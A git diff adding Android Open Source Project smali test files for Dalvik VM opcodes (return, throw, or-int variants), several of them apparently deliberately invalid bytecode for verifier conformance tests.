index 0000000..c87f117
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_6.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 6
+    
+    const v0, 1
+    return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.smali
new file mode 100644
index 0000000..98e6b28
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_7.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.smali
new file mode 100644
index 0000000..1b784bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_8.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    const-wide v0, 0
+    return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.smali
new file mode 100644
index 0000000..6e3fddf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_1.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/RuntimeException;
+       invoke-direct {v1}, Ljava/lang/RuntimeException;-><init>()V
+       throw v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.smali
new file mode 100644
index 0000000..5cc6c79
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_10.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       new-instance v1, Ljava/lang/String;
+       invoke-direct {v1}, Ljava/lang/String;-><init>()V
+       throw v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.smali
new file mode 100644
index 0000000..6e36cbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_2.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+      return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/Throwable;
+       invoke-direct {v1}, Ljava/lang/Throwable;-><init>()V
+       throw v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.smali
new file mode 100644
index 0000000..73f05ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_3.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       const-wide v1, 314
+       throw v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.smali
new file mode 100644
index 0000000..37e27d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_4.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/4 v1, 0
+       throw v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.smali
new file mode 100644
index 0000000..b6d147a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_6.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/RuntimeException;
+       invoke-direct {v1}, Ljava/lang/RuntimeException;-><init>()V
+       throw v5
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.smali
new file mode 100644
index 0000000..25132b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_8.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/Error;
+       invoke-direct {v1}, Ljava/lang/Error;-><init>()V
+       throw v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.smali
new file mode 100644
index 0000000..6d61f66
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_1.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.smali
new file mode 100644
index 0000000..a5dbcdb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int v0, v6, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.smali
new file mode 100644
index 0000000..16d9252
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_3.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       or-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.smali
new file mode 100644
index 0000000..67b05c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_4.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)I
+.registers 8
+
+       or-int v0, v5, v6
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.smali
new file mode 100644
index 0000000..ee4d9b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_5.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.smali
new file mode 100644
index 0000000..b0c5c29
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_6.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       or-int v0, v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.smali
new file mode 100644
index 0000000..da83e08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.smali
new file mode 100644
index 0000000..ce26068
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int/2addr v6, v8
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.smali
new file mode 100644
index 0000000..21d167f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       or-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.smali
new file mode 100644
index 0000000..00df8bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       or-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.smali
new file mode 100644
index 0000000..926e091
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.smali
new file mode 100644
index 0000000..1cb5914
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       or-int/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.smali
new file mode 100644
index 0000000..fb4fdfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, 8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.smali
new file mode 100644
index 0000000..e70a317
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, 0x7ff7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.smali
new file mode 100644
index 0000000..33e07f4
--- /dev/null
